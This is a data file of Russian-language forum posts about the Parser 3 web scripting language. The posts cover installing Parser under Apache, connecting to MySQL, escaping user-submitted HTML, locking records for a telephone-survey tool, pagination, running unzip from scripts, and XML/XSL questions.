не надо рассказывать, что вы хотите чтобы лежало в базе. база -  это хранилище, и как там оно будет лежать - дело десятое.\
\
вы делаете что-то чтобы оно показывалось в документе. опишите, что должно как показываться."
"23180","Пришлите мне auto.p на мыло, я просто посмотрю что там у вас"
"23181","предлагаю все-таки начать с установки не модуля апач, а cgi расширения, причем делать это в .htaccess чтобы не иметь дел с длинным httpd.conf..."
"23182","при попытке использовать &nbcp; возникает ошибка, возможно из-за символа & ...  помогите решить эту проблему ..."
"23184","Как скрипт заработало все, но нужно чтоб как модуль."
"23185","На Home page parser.ru\
[quote]\
Так-же причиной может быть то, что вы «закачали» исполняемый файл на сервер _не_ в режиме binary.\
[/quote]\
Почему, в эпоху инета, с наличием других способов, слово [b]не[/b], не выделить по другому? Я кстати никогда в фидо не сидел и мне это только недавно объяснили. А говорите типографика ...\
\
PS: Это не наезд, а так, - ворчание"
"23186","А зачем? Нагрузка на сервер большая? Руководство требует? или ещё чего?"
"23187","Есть модуль, он должен работать! Но не работает. Парсер прекрасная технология, но зачем же выкладывать не рабочие версии. А если рабочие то почему по официальной документации установка не имеет эффекта кроме как апач показывает что парсер загружен, но обработчиком он при этом не является. Вот я и прошу просто файлы чтоб со своими сравнить и понять в чем дело.\
А почему именно модуль? Не люблю кучу всего в папках для конечных документов лежит."
"23188","У кого-нибудь есть переведенный вариант на Parser 3?"
"23189","и по скорости он сильно приблизился к CGI, по сравнению с тем, что было в 3.1.0, но не всё так идеально в этом мире - почти любая программа размером более пары сотен строчек имеет ошибки и проблемы, вы согласны?\
\
И ни одного реального за, за модуль, кроме разумеется эмоций я не увидел и вы попросту теряете время пытаясь кому-то что то доказать - послушаете советов, работайте с CGI, понимание придет, и вы сумеете поставить модуль. А то что он сейчас не ставится так это больше непонимание процесса установки модулей апач, нежели чем проблема модуля."
"23190","http://www.parser.ru/examples/counter/"
"23191","Я интересовался графическим исполнением."
"23192","Я отчасти с Вамми согласен. Для начала буду работать с cgi. Время поджимает. Но все же хотелось разобраться что к чему, понимаете? Я надеялся что мне что-то посоветуют люди, которые уже работают на модуле без проблем."
"23193","Не секрет, что это слегка покоцанный дистрибутив апача, иначе с чего бы ему меньше весить? Поэтому, для начала, нужно испытывать модуль на нормальном дистрибутиве апача, скачанном с http://httpd.apache.org/"
"23194","Скачал Апач, щас попробую"
"23195","написать: &nbsp^; в коде. Все."
"23196","Это пришло из Word, в нем есть встроенный макрос, к-рый такое выделение преобразует в курсив. Поэтому в текстовых файлах (без форматирования) писали так, чтобы потом в Ворде на этом месте появилось выделение курсивом. Потом сие выделение уже стало восприниматься как _самостоятельное_.\
\
Ну, а потом всем так понравилось... И в ФИДО тоже.\
Причем, в принципе, грамотно - если вы так пишете в текстовом емейле, то при прочтении вордом будет курсивное выделение."
"23197","в данном контексте имитирует  р а з р я д к у (имхо). \
Вообще, сделать грамотную разрядку в инете - моя давняя мечта."
"23198","заходите по SSH на сервер, на который нужно копировать файлы. \
В командой строке сервера пишете, [code]ftp oldusername@oldserver.olddomain[/code] либо \
[code]sftp oldusername@oldserver.olddomain[/code].\
После этого, можно сказать \"help\", получив некоторые подсказки. \
\
Насколько я могу судить из файлов помощи net.ru, они предоставляют только программу sftp, так что старый сервер тоже должен поддерживать SSH. \
\
Для win32 я рекомендую использовать PuTTY (PuTTY is a free implementation of Telnet and SSH for Win32 platforms): \
http://www.chiark.greenend.org.uk/~sgtatham/putty/"
"23199","Приходит к нам пост. В нем могут быть теги и псевдотеги. Заменяем псевдотеги на теги. А теги из поста заменяем на &gt; и пр. При извлечении из базы, мы полагаем, что там лежит HTML.\
\
К примеру, приходит к нам текст:\
<b>это</b> жирным быть не должно, а [ b ]это[ /b ] - должно.\
# [b] для примера заменил на [ b ]\
\
\
После манипуляци должно быть так:\
&lt;b&gt;это&lt;/b&gt; жирным быть не должно, а <b>это</b> - должно.\
\
Интересно, что убрав все taint/untaint я получил следующее.\
Если вывести только что отформатированный текст на экран, то все получается так, как надо. Но если то же самое добавить в базу, то все теги там останутся тегами.\
\
P.S. Хотя, если честно, я убедился, что преобразования лучше производить на выводе и так буду поступать на будущее. Но разобраться все-таки хочется."
"23200","Никак не пойму что надо сделать в редакторе UE чтобы он выделял цветом именно код парсера, а не ему подобное???\
Хочется чтоб код выделялся в редакторе как в уроках по изучению парсера. Кто подскажет?\
В поиске нашел только про UE и FAR yj Far почемуто не качается тоесть сами библиотеки а в UE никак не разберусь что ставить в ВИД/СМОТРЕТЬ КАК(ПОДСВЕТКА ФАЙЛОВ) - а парсера тута нету :-("
"23202","…и все будет хорошо без всяких taint/untaint\
\
почему? во первых: так проще :)\
во вторых: представьте что в один прекрасный момент вы захотите запретить отработку [u/] но оставить обработку [b/]… будете update-ить БД?\
в третьих: представьте, что в другой прекрасный момент вам захочется позволить пользователю редактировать то, что он ввел когда-то… будете обратно преобразовываеть перед выдачей в форму редактирования?\
\
этого недостаточно и вы еще хотите придумать как реализовать черезодноместный вариант? :)"
"23205","по пути \
СЕРВИС\\СОЙСТВА ОБОЗРЕВАТЕЛЯ\\ПРОГРАММЫ\\РЕДАКТОР HTML - ПРОГРАММЫ ultraEdit нету :-( , кто знает как ее туда добавить?\
Аесли в УльтраЕдите в ДОПОЛНИТЕЛЬНО\\КОНФИГУРАЦИЯ\\АССОЦИАЦИИ ФАЙЛОВ ДОБАВИТЬ ФАЙЛЫ HTML или HTM то все файлы HTML октываются как текстовые в UE а не как страницы в браузере :-("
"23206","надо будеть использовать taint/untaint + match (или replace)"
"23207","При попытке записи в MySQL получаю ошибку:\
\
[Sat Nov 15 06:06:33 2003] /souz/admin/index.html: /bhome/part2/02/demolution/www/souz/admin/index.html(28:5): 'connect' connection string must start with protocol:// [parser.runtime] \
\
В файле auto.p:\
@auto[]\
$connect_string[mysql://user:password@baze.zenon.net:64000/demolution]\
\
А 28 строка файла index:\
\
   ^connect[$connect_string]{\
\
Подскажите что-нибудь..."
"23208","Открой окно скажем диска c:\
сервис/свойства папки/типы файлов/ \"Ищи html\" / изменить / (вибираешь | ищишь) нужную программу / жмёшь OK /радуешься ;)"
"23209","$connect_string[mysql://user:password@baze.zenon.net:64000/demolution]\
Попробуй эту строку прописать в auto.p находящемся в папке с установленным парсером."
"23210","Дак она там и есть."
"23211","[b]Как установить?[/b]\
1. Скачиваем [url=\"http://www.caspy.net/temp/parser/parser.zip\"]этот файл.[/url]\
2. Распаковываем в папку [i]путь_до_папки_myie\\Language\\res\\[/i]\
3. Редактируем файл _menu.htm папке ...\\Language\\res\\ добавляя в <select> список строку   <option value=\"parser.htm\">Parser forum (last 5)\
4. Перезапускаем [url=\"http://lemnews.narod.ru/myie.htm\"]MyIE.[/url]"
"23212","Определена ли $connect_string в index.html. \
[code]\
  ^if(def $connect_string){\
    ^connect[$connect_string]{...}\
  }{\
     <b>Не определена строка запроса к серверу.</b>\
   }\
[/code]\
\
После этого можно будет продолжать \"разбор полетов\"."
"23213","Та же ошибка, только при заполнении формы он говорит не определена строка запроса к серверу."
"23215","Вписал, и все работает, но тогда я передаю пароль явным образом. Не хотелось бы. Такое впечатление, что строки\
@auto[]\
$connect_string[mysql://user:password@baze.zenon.net:64000/demolution] \
основного файла auto.p вообще не выполняются, и тогда все логично, переменная connect_string остается неопределенной, но в чем причины???"
"23216","... \"основной файл auto.p\"? Как установлен парсер, где лежат конфиги? _test.html пропускать пробовали?"
"23217","Parser установлен в cgi-bin в виде cgi-скрипта тест я уже делал и в принципе все работает. Основной файл лежит там же. В конце auto.p добавленные по учебнику строки выполняются нормально."
"23218","Добрый день!\
Вопрос наверное тривиальный, но я не знаю на него ответа...\
Есть \"поле со списком\", который наполняется из таблички, где кроме текста есть его уникальный код. Для последующей обработки запроса, нужен именно код записи.\
Есть ли возможность передавать серверу на обработку не выбранную строку из \"поля со списком\", а этот самый код.\
Можно, конечно, перед отправкой сделать \"Селект код фром таблица, вере текст=выбранный текст\", но так как-то не красиво..."
"23219","мне нужно при клике просмотр html кода на странице открывался не какая нить прога а именно UE"
"23220","[quot]\
Аесли в УльтраЕдите в ДОПОЛНИТЕЛЬНО\\КОНФИГУРАЦИЯ\\АССОЦИАЦИИ ФАЙЛОВ ДОБАВИТЬ ФАЙЛЫ HTML или HTM то все файлы HTML октываются как текстовые в UE а не как страницы в браузере :-(\
[/quot]\
\
?"
"23221","мне нужно чтобы при просмотре в БРОУЗЕРЕ HTML странички, при желании просмотреть ее html код, открывался не блокнот или еще хуже ворд, а именно UE, почему-то программа UE в средствах просмотра html кода в сервисе браузера отсутствует :-("
"23222","Как реализовать сабж? На перле я могу просто указать максимальный размер загружаемого файла, как сделать такое на Parser?"
"23223","1Моделинг БД, исходя из проекта, где-то Мускль с MyIsam где-то и 2Оракл с репликацией.\
3Настройка сервера под проект.\
4Далее приступаем к программированию модулей и скриптов.\
5Затем кодинг.\
6Ну и отладка всего этого."
"23225","…который так-же называется notepad.exe и даются инструкции, как заменить родной notepad на этот (если вдруг у кого сложности с копированием файлика в два места поверх существующего).\
\
лично я сделал именно так и не вижу причин использовать где бы то ни было родной виндовый notepad.\
\
P.S. возможно этот файл качается отдельно, т.к. очень давно я его ставил…"
"23226","Если чесно, стоит ли мне качать Парсер 3.1.1? Будут ли в ближайшее время испавления и новые версии, или эта окончательна (как, к примеру, 3.0.0007)?"
"23228","Так и есть! Заработал парсер на 2003 наконец (cgi а не dll). И то хорошо! Спасибо за советы, жаль что слишком поздно только они пришли."
"23229","Читал доку, вот что нашел:\
\
[i]$.method[HTTP-МЕТОД]  GET \
 \
$.headers[ \
$.HTTP-ЗАГОЛОВОК[значение]\
… ] \
$.User-Agent[parser3]\
\
Хеш, содержащий дополнительные HTTP-заголовки, которые необходимо передать на HTTP-сервер[/i]\
\
То есть, насколько я понимаю, можно использовать, например\
$.method[POST]...\
\
а вот как, например, на STDIN удаленого скрипта послать xml документ, чет я не понял ... :(\
\
Может, кто поможет? Буду крайне благодарен ...\
\
PS: xml.yandex.ru, если кто еще в танке :)"
"23231","С меня пример работы с xml.yandex.ru"
"23232","Вроде все сделал правильно и не раз и даже не пять :-(\
1. базу gbook создал в p3test.\
2. в корневой auto.p добавил метод общения с базой :\
\
@dbconnect[code] \
^connect[$connect_string]{$code} \
# connect_string определяется в методе @auto[] \
# $connect_string[mysql://root@localhost/p3test] \
\
3. создал подкаталог classes и в созданном файле gbook.p определил класс гостевухи\
4. Далее добавил в индекс гостевухи \
\
@USE \
/classes/gbook.p \
\
 а потом\
@body_main[] \
Гостевая книга тестового сайта<br> \
<hr> \
\
$gb[^gbook::load[]] \
^gb.show_messages[] \
^gb.show_form[] \
^gb.test_and_post_message[] \
\
# и конечно же не забываем про остальные части  \
@greeting[] \
Оставьте свой след: \
\
@body_additional[] \
Нам пишут… \
.....\
все делал по уроку...\
а в результате - HTTP 500 Внутренняя ошибка сервера.\
\
Блин неделю уже бьюсь :-( конечно это говорит о исключительно моих умственных способностях, но если кто то всетаки поможет или хоть как нить подскажет буду премного благодарен !!!\
С уважением Роман"
"23233","например\
\
[code]\
@main[]\
Привет, я работаю!\
[/code]"
"23234","Вообщем, как я оттуда понял - нельзя. Хорошо, в это я вполне верю, но скажем перл может ограничить размер POST и просто не принять данные из формы больше мегабайта, а далее я разбираю картинку Image::Magic и скалю ее по своему усмотрению, если уж пользователь сам не могет.\
\
Так можно ли все же обрезать POST на парсере? И есть ли аналог Image::Magic?"
"23235","в вашем случае будет:\
<select name=\"xxx\">\
<option value=\"1\">Один\
<option value=\"2\">Два\
<option value=\"3\">Три\
</select>"
"23236","можно и такое\
http://www.parser.ru/forum/?id=17683\
\
про обработку с помощью Image::Magick читайте в примерах"
"23237","Вы просто невнимательно читаете http://www.parser.ru/docs/lang/parserconfmethod.htm\
[quote]\
Если в файле определен метод conf,он выполняется первым, до auto, и задает важные системные параметры:\
Ї	файлы, описывающие кодировки символов,  \
Ї	ограничение на размер HTTP POST-запроса,  \
Ї	сервер/программу отправки почты,  \
Ї	SQL-драйвера и их параметры,  \
Ї	таблицу соответствия расширения имени файла и его mime-типа.  \
	\
Рекомендуется поместить этот метод в Конфигурационный файл. \
[/quote]\
Делается так:\
[code]\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]\
[/code]\
Правда если эта штука определена в конфг. auto.p то это работает для всего сайта."
"23238","Если страницу с кодом на парсер сохранить в ANSI (Windows/блокнот) -- то всё нормально.\
Если же сохранить её в UTF-8, то вместе с результотом работы кода, в самом начале вываливается @main[] и далее результат кода.\
Что за странность? И ещё... те данные с табуляцией которые потом загружаются в table::load тоже работают только в ANSI. Если сохранять в UTF-8, то невоможно сделать .replace со строками из этой таблице. Пожалуйста, подскажите пути решения, никак не могу оставить идею перевести всё в UTF-8 (код страницы, .cfg, xml, xls), тем самым избавится  от некоторых проблем. И что будет если я закачаю на хостинг документ UTF-8 не в режиме binary, а в text?"
"23240","@моё_меню[]\
<!-- Меню (начало) -->\
<table border=0 cellpadding=0 cellspacing=0 style=\"color:#330099\">\
<tr><td width=13 height=20 bgcolor=\"#330099\"></td><td bgcolor=\"#330099\" align=left>\
$menu[/menu/]\
^if($menu le $request:uri){ \
   <a href=\"$menu\" class=\"menu1cheked\">Меню</a>\
}{ \
   <a href=\"$menu\" class=\"menu1\">Меню</a>\
} \
</td></tr>\
<tr><td colspan=2 height=2></td></tr>\
<tr><td valign=top align=center>&nbsp;•</td><td align=left>\
$submenu[/menu/submenu/]\
^if($submenu le $request:uri){ \
<a href=\"$submenu\" class=\"menu2cheked\">Подменю&nbsp;(0)</a>\
}{ \
<a href=\"$submenu\" class=\"menu2\">Подменю&nbsp;(0)</a>\
} \
</td></tr>\
<tr><td colspan=2 height=5></td></tr>\
</table>\
<!-- Меню (конец) -->"
"23242","скопируй написанное мной (скажем) в фаил index.html и вызови его.\
\
Если выдаётся 500 ошибка, значит дело не в гостевой книге а в Парсере или настройках сервера или спецы подскажут.\
\
Ещё я слышал что IE любит выдавать свои страницы ошибок, так что попробуй оперу или мозилу.\
\
Ещё есть файлик test.html, см в разделе скачть, разное. http://www.parser.ru/f/1/download/utils/test.zip\
\
Ну и какбы в завершение, апач ведёт свои логи, посмотри может там найдёшь объяснение причин ошибки."
"23244","1. если есть сомнение, что какой-то кусок кода работает, просто добавьте\
[code]\
^bug[]\
[/code]\
в место-под-сомнением. если не вылезет ошибка, значит не выполняется.\
\
2. если есть сомнение, что какая-то переменная в нужном месте содержит нужное значение, просто добавьте\
[code]\
^throw[debug;=$переменная=]\
[/code]\
получите сообщение об ошибке, где должны увидеть =строку= значение переменной."
"23246","&nbsp^;"
"23248","Если в директории есть файл auto.p, в котором нет метода auto и main, значит ли это, что при загрузке файла из этой директории над ним выполнятся все методв, определенные в auto.p??? Второй день творится что-то похожее."
"23249","Сабж, тогда посыплю голову пеплом и перейду на парсер :) В смысле можно ли не укладывая картинку на диск определить ее размеры, подправить, а только потом уже записать в файл?"
"23252","Примечание: если в файле не определен ни один метод, считается, что файл определяет метод main без параметров.\
\
А у меня самостийно вызывается метод..."
"23253","... не про auto.p, а про html-файлы!\
\
Из всех файлов auto.p иерархически собирается класс MAIN. А после этого вызывается ^MAIN:main[]."
"23254","Только что проверил: для auto.p это тоже верно. Если в нем не определены методы, то он считается как метод ^main[]. И все это четко работает."
"23255","В ауто.пи определено несколько методов (ака функций). Один из них вызывается (явно) в начале каждой страницы в директории. Так вот, есть там (в авто.пи) еще один метод, к-рый перебрасывает пользователя на определенную страницу, и почему-то он \"выстреливает\" всегда и на всех страницах. То есть, ни на одну страницу ни при каких условиях пользователь в результате попасть не может.\
\
методов auto и main нет.\
\
Что я пропускаю?"
"23257","@fuckoff[]\
#выносит пользователя на индекс\
$response:location[/news/] \
$response:refresh[$.value[0] $.url[/news/]]"
"23258","Это я читал, каким путем получить этот объект типа Файл? $form:photo будет таким объектом? (<input type=\"file\" name=\"photo\">)\
\
P.S. как же все просто с хэндлерами..."
"23260","Есть такая штука, называется CATI - Computer-assisted telephone interviewing - несколько человек сидят на телефонах, обзванивают потребителей по списку и заполняют анкеты на экране (то, что называется \"телефонный опрос\"). Я у себя внедряю такую штуку, и делаю на том, на чём умею - на парсере. \
\
Сейчас я делаю так - делю список номеров на равные куски и даю каждому интервьюеру. Логичнее было бы иметь один список, чтобы они работали с ним одним - обегать потом несколько компов снимать результаты лениво. Как избежать ситуации, когда все интервьюеры ломанутся звонить по одному и тому же номеру? Вводить столбец, в который я случайно помещу число 1 .. N (N = число интервьюеров) и выдавать каждому интервьюеру только строки с его N плохо - мне хочется, чтобы они шли по списку вместе одной толпой. \
\
Есть идеи? Нужен алгоритм, код я напишу..."
"23262","Это ж крутотень какая-то :))"
"23263","Оператор \"тыкается\" в номер -> в базе у этого номера ставится галочка locked, а у оператора открывается форма для заполнения.\
Если в форме нажали \"Ok\" сохраняем данные, номер метим как done, если нажали \"Cancel\" (не дозвонились и что еще) - снимаем locked."
"23264","Выдаем каждому пользователю один телефонный номер из базы и под ним анкету. В базе помечаем, что этот номер зарезервирован. Когда пользователь постит анкету помечаем в базе, что номер обработан. Выдаем следующий номер и т.д.\
\
Если в течении часа анкета не пришла в базу считаем, что номер свободен и отдаем его другому оператору."
"23266","> Оператор \"тыкается\" в номер -> в базе у этого \
> номера ставится галочка locked, а у оператора\
\
А теперь замени в своей фразе \"оператор\" на \"два оператора\". Видишь? ;) \
\
Итак, [i]Плохой Сценарий[/i]:\
\
1. Вася делает рефреш, система выдаёт ему следующий необзвоненный номер 112233\
2. Петя делает рефреш, система выдаёт ему тот же 112233\
3. Вася и Петя начинают звонить.\
4. Вася дозванивается первым, жмёт кнопку, в базе делается UPDATE table SET status = locked WHERE number = 112233. Вася начинает опрашивать.\
5. Вася сэйвит анкету.\
6. Петя дозванивается до  абонента и выслушивает фразу \"Да вы что в своей конторе охренели все?!\"\
\
Петя всё сделал правильно. Он не виноват. А проблема есть. Проблема ровно на участке \"получил номер\" - \"положил на него лапу, чтобы не достался другим\". Между этими двумя кусками - пауза, в ней много чего может случиться."
"23267","... лочить надо в момент выдачи номера оператору, а не при дозвоне."
"23268","Как мне решить проблему того, что между select и update может приёти ещё один update?"
"23269","Оператор открывает страницу, а ему сразу анкета на первый номер из пула. Номер тут же лочится (для \"чистоты эксперимета\" пользуемся LOCK TABLES numbers WRITE / UNLOCK TABLES вокруг запроса SELECT number FROM numbers...)\
Крупными буквами сверху: А теперь звоним по номеру 111-22-33. Дальше анкета.\
И никого не трогает, сколько всего номеров.\
А как все номера израсходованы - \"Спасибо за работу, всех уже обзвонили ;-)\"\
\
update:\
было LOCK...READ, что не правильно. READ запрещает только изменения - читать могут все, а вот WRITE запрещает даже чтение из других процессов, кроме того, который таблицу полочил"
"23275","[url=\"http://www.parser.ru/docs/lang/stringmid.htm\"]mid[/url]"
"23279","^if(^mytable.locate[file;$myfile]){\
$mytable.title<br>\
}\
\
Ошибка:\
string method not found\
locate"
"23281","Подскажите пожалуска как мне сделать так что б\
На страницу выводилось по 10 записей а в низу ссылки на страницы где остальные (по 10).\
Т.Е.\
Есть база там 100 записей \
считываю первые 10 а внизу мне надо ссылками показать что там ещё 9 страниц.\
Запутал как всёё но в ообщем понятно спосибо за ранее.."
"23283","Есть http://www.parser.ru/examples/imagemagic/ - пример, который изменяет размер изображения...\
\
Я на его основе немного пошаманил, добавил еще пару методов и вуаля... получаю мощьный класс для работы с изображениями.\
\
Нужно ли его комментировать и просить чтобы выложили в примеры? С кем вообще пообщаться на эту тему?"
"23284","Если с ним сговоритесь, можно и общественности показывать ;-)"
"23285","В examples просто какой-то ужасный скроллинг (один хуже другого). Они какие-то навороченные и, не побоюсь этого слова, извращённые (зачем эта дурь в виде 1-5 6-10 11-15 и т.д.?).\
Мне нужен простой скроллинг (как на этом форуме например). У php есть массивы, задаёшь нужное количество, вписывая любые данные, сортируешь в нужном порядке и выводишь. И всё в одном файле, без всяких баз данных. При этом ещё и скроллинг простейший добавляешь. Возможно ли такое на парсере? Если да, то example please..."
"23286","этот http://www.spearance.ru/parser3/scroller/\
простой вариант\
этот http://www.spearance.ru/parser3/scroller1/\
более мощный\
\
ценность их заключается в том, что не нужно ничего придумывать, установил класс, настроил как надо параметры и все. Никакой особой привязки к таблицам, ничего лишнего.\
\
Кстати скроллер как в этом форуме очень похож на 2-й пример, только еще больше наворочен."
"23288","Может плохо искал, в таком случае прошу прощения...\
\
Пытаюсь сделать установщик. Суть заключается буквально в одной строчке:\
[code]\
$unpack[^file::exec[unzip;;main.zip]]\
[/code]\
И ничего не выходит. Локально, под w2k, чтобы заработало, пришлось скопировать unzip.exe в веб-папку или (может быть) прописывать полный путь. Думал у хостера под линукс заработает без этого, однако не работает. Получаеться, чтобы запустить распаковщик, нужно знать полный путь к нему, или что-то другое...\
\
Нет ни у кого соображений по этому поводу? Может быть задача уже решалась?\
"
"23289","в приведенном ниже коде какая-то глупость $connect_string\
не передается через ^use\
auto.p:\
@auto[] \
#$connect_string[mysql://root@localhost/p3test] \
$MAIN:CLASS_PATH[/]\
^use[sql.p]\
^throw[debug;=$connect_string=]\
\
@main[] \
<!DOCTYPE.......\
sql.p\
$connect_string[mysql://root@localhost/p3test] \
\
\
parser3.log\
[Tue Nov 18 13:34:25 2003] /: z:/home/test/www/auto.p(7:2): '==' <no comment> [debug]"
"23291","В этих скроллингах есть один недочет (ИМХО):\
Если у нас страниц 5, 10, 25, то все выглядит нормально, а если их 1000, то один список страниц займет пол видимой области монитора, а это безобразие...\
\
Вот на форуме мне очень нравиться скроллинг... %)"
"23292","$mytable[table::load[/path/table.cfg]]\
\
_Не_ понимаю!"
"23295","1-установлен unzip?\
2-исполняемый файл называется unzip?\
3-он прописан в $PATH?"
"23296","[code]\
@auto[]\
$connect_string[mysql://root@localhost/p3test]\
[/code]\
\
Тогда Парсеру станет понятно, что вы хотите..."
"23297","спасибо"
"23298","1 - установлен,\
2 - да,\
3 - под w2k, да. Не знаю как это называется под Линукс, но видимо прописан, поскольку я могу его вызывать в любом месте (только не Парсером, а из командной строки)."
"23299","Условий всего 3:\
(примем, что показываем как на этом форуме: 1 ... x-2 - x+2 ... N, x - текущая страница)\
1. ^if(x < 5){показываем 1 - 5 ... N}\
2. ^if(x > N-4){показываем 1 ... N-4 - N}\
3. иначе показываем 1 ... x-2 - x+2 ... N\
Всего-то делов, а знать надо только текущую страницу и их общее число.\
Что тут сложно?"
"23300","заходим в пример\
http://www.spearance.ru/parser3/scroller1/\
находим \"настроить скроллер\"\
количество записей ставим: 5\
количество секций: 7\
тип скроллера: page\
\
сохраняем результат и возвращаемся к примеру.\
\
Cookie при этом должны быть включены.\
\
Видим что скроллер похож на тот что в форуме, выглядит коротко и не занимает много места."
"23301","Следовательно, если unzip лежит в /usr/bin/ (обычно, так и бывает, или просто в /bin/), а корень веб-сервера /usr/local/www/your_domain/, то звать надо\
^file::exec[/../../../bin/unzip;;...] (в случае /usr/bin/) или ^file::exec[/../../../../bin/unzip;;...] (в случае /bin/)\
\
Проще написать shell-script[code]#!/bin/sh\
unzip $1[/code]положить его за веб-пространство и позвать.\
unzip наверняка лежит по известным системе путям и все будет ок."
"23306","В БД по заказам хранится ID работ, материалов и др. всего около 10 ID (типа work1_id,work2_id ... ,в таблицах видов  работ и материалов около 200 записей типа work1_id,work1_name ; и в дальнейшем они почти не будут расти)\
Далее я делаю выборку нужных мне заказов ($main_tab) и вывожу их на экран. И мне надо подменить ID на имя работы (или материала).\
\
Проблема в том, как сделать, чтобы работало быстрее (правильнее):\
1. каждый раз обращаться к БД с запросом по ID выдать name\
2. Считать сразу все таблицы в переменные ( типа $all_work1_tab,  $all_work2_tab)и потом использовать нечто вроде  ^all_work1_tab.locate[work1_id;$main_tab.work1_id]\
3. Или все же в MySQL есть возможность сделать это (подменить ID) при запросе"
"23307","Есть xml документ, в нем есть один единственный узел query, в котором содержится текст некоторый ...\
\
Возникла жизненная необходимость этот текст \"изъять\" :)\
\
Кроме вот этого, что то в голову ничего не приходит, либо приходит, но не работает :)\
\
[code]\
$nd[^doc.selectSingle[//query]]\
$nd[$nd.firstChild]\
\
<h1>NodeValue: $nd.nodeValue</h1>\
[/code]\
\
Спасибо, заранее"
"23309","как заменить все переносы каретки <enter> в строке на пробелы?"
"23312","Вы бы знали, как я об этом мечтал!!! Сейчас все проверю. Спасибо."
"23314","На сайте Libxml написано, что он поддерживает Xinclude. Пытался, но так и не смог заставить работать xi:include в Парсер. Пожалуйста, подскажите в чём может быть проблема, и если возможно реально работающий пример с xinclude. Пример ниже, ничего не включает, но и не даёт никаких ошибок. Мистика.\
\
$xml[^xdoc::create{<?xml version=\"1.0\"?>\
<document>\
<foo \
 xml:base=\"$env:DOCUMENT_ROOT/xml/\"\
 xmlns:xi=\"http://www.w3.org/2001/XInclude\">\
 <xi:include href='foo.xml' parse='xml'/>\
</foo>\
\
 <header>123</header>\
 <menu>4567</menu>\
</document>\
}]\
\
$transformedDoc[^xml.transform[html.xsl]]\
^transformedDoc.string[$.method[xml]]"
"23315","При установке Parser(модуль)на Apache тот выдает сообщение:\
Syntax error on line 224 of d:/apache/apacheserver/apache/conf/httpd.conf:\
Cannot add module via name 'mod_parser3.C': not in list of loaded modules\
Все делаю по Readme.txt, пробовал некоторые варианты, но ничего не получается. Пожалуйста, подскажите что-нибудь..."
"23316","не совсем для меня понятно зачем столько городить с ID, ну да ладно.\
а вместо ID подставить имя == этому ID?\
маны вообще по SQL читали? ;)\
Вы уже почти ответили сами на вопрос."
"23317","Приводите то, что в httpd.conf на 224 строке написано и тогда вам смогут помочь."
"23318","если не указано шапки, считается, что сверху написано\
[code]\
@main[]\
[/code]\
\
а в вашем коде потом определён другой метод main, который и вызывается.\
\
в такой ситуации main из sqp.p не вызывается (перекрыт другим)."
"23319","там вообще много чего есть.\
\
в терминах библиотеки: надо напустить некую функцию на xmlDoc, она сделает все указанные includes.\
\
по default если это сделать — будет тормозить.\
вариант:\
функция в xdoc, название можно взять из .net библиотеки:\
^xdoc.ProcessXIncludes[]\
\
программируется в 10 строчек, несложным copy/paste. кто сделает/пришлёт patch?"
"23320","Спасибо )))"
"23321","там закралась ошибка в виде большой буквы .C\
правильно начиная с 3.11 - маленькая буква, и это написано в документации и в инструкции установки на страничке download\
\
P.S. уже поправил текст в инсталяшке."
"23322","Завожу Парсер как интерпритатор скриптов \
в заголовке \
[code]\
#!/usr/local/parser/parser3.cgi\
\
[/code]\
все нужные биты зажжены,\
но при попытке запуска скрипта (./test.p3) говорит:\
[code]\
./test.p3: No such file or directory\
[/code]"
"23323","Делаю словарь. Есть XML документ (около 2000 статей). Для каждой статьи должна быть отдельная страница. Для извлечения текста есть articles.xsl в котором параметр $num задуман для передачи адреса конкретной статьи.\
\
articles.xml\
\
<articles>\
<article id=\"a1\">Ааа..</article>\
<article id=\"a2\">Ааб..</article>\
....\
</articles>\
\
\
articles.xsl\
\
<?xml version=\"1.0\" encoding=\"Windows-1251\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
<xsl:param name=\"num\" />\
	<xsl:template match=\"/\">\
		<b>\
			<xsl:text>Article</xsl:text><br />\
		</b>\
	     <xsl:value-of select=\"$num\"/>\
	</xsl:template>\
</xsl:stylesheet>\
\
\
Как можно из article0003.html передать параметр $num в articles.xsl? Причем значения этого параметра имеют вид \"//article[@id='a3']\"\
\
Если передавать параметр, таким образом, как описано в документации:\
$transformedDoc[^sourceDoc.transform[articles.xsl][$.num[//article[@id='a3']]]]\
\
то в браузере вижу\
Article\
//article[@id='a3']\
\
Как можно передать параметр не строкой, а XPath выражением?\
Может, есть другие варианты? Не создавать же 2 тысячи разных XSL файлов с разными значениями ID..."
"23324","В parser.log при отправки письма с сайта вылезла ошибка\
19 12:07:38 2003] /feedback/: /home/u7215/domain.ru/www/feedback/auto.p(29:7): '/usr/sbin/sendmail' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/usr/sbin/sendmail', fuid(0)!=euid(7215) or fgid(0)!=egid(7215) [parser.runtime]\
\
Вопрос: Подскажите пожалуйста как решить эту проблему без установки Parsera без safe mode?"
"23328","Что он(т.е. админ) должен сделать?"
"23329","Странная ситуация - есть вот такой код:\
[code]\
@prepareList[path;ext;create_new_list] [list;dirs]\
\
    ^if(!def $ext){ $ext[html] }\
    ^if(!def $create_new_list){ $create_new_list[1] }\
    $dirs[^table::create{name}]\
    $list[^file:list[$path]]\
\
    ^if($create_new_list){ <ul> }\
    ^list.menu{\
        $uri[${path}$list.name]\
        ^if(-d $uri){\
            ^dirs.append{$uri/}\
        }{\
            ^if(^uri.match[\\.$ext^$]){\
#                <li>^href[$uri;^getDescription[$uri]]</li>\
                <li>$uri</li>\
            }\
        }\
    }\
    ^dirs.menu{\
        ^prepareList[$dirs.name;$ext;0]\
    }\
    ^if($create_new_list){ </ul> }\
#end @prepareList[]\
[/code]\
\
Выполняется замечательно, если подкаталогов нет вообще или же есть, но один. Если подкаталогов много, то parser падает с ошибкой [i]call canceled - endless recursion detected[/i]. \
В чем могут быть грабли?"
"23330","и еще по моему ^if(^uri.match[\\.$ext^$]){...} стоит заменить на\
^if($ext eq ^uri:justext[]){...}"
"23331","Пожалуйста, опубликуйте список библиотек для Парсер 3.1.1 для Windows, и где лежат \"правильные\" версии. Не могу вставить новую версию в Денвер, хотя скачал все dll-ки, видимо не тот бильд аль еще чего-нибудь."
"23332","должны быть в стиле unix.\
или попросите свой текстовый редактор сделать их такими.\
или при upload по ftp используйте text mode."
"23334","Понятно, спасибо. Не придавал этому значения, а вишь оно как... \
А чем обусловлена такая разница в работе с переменными?"
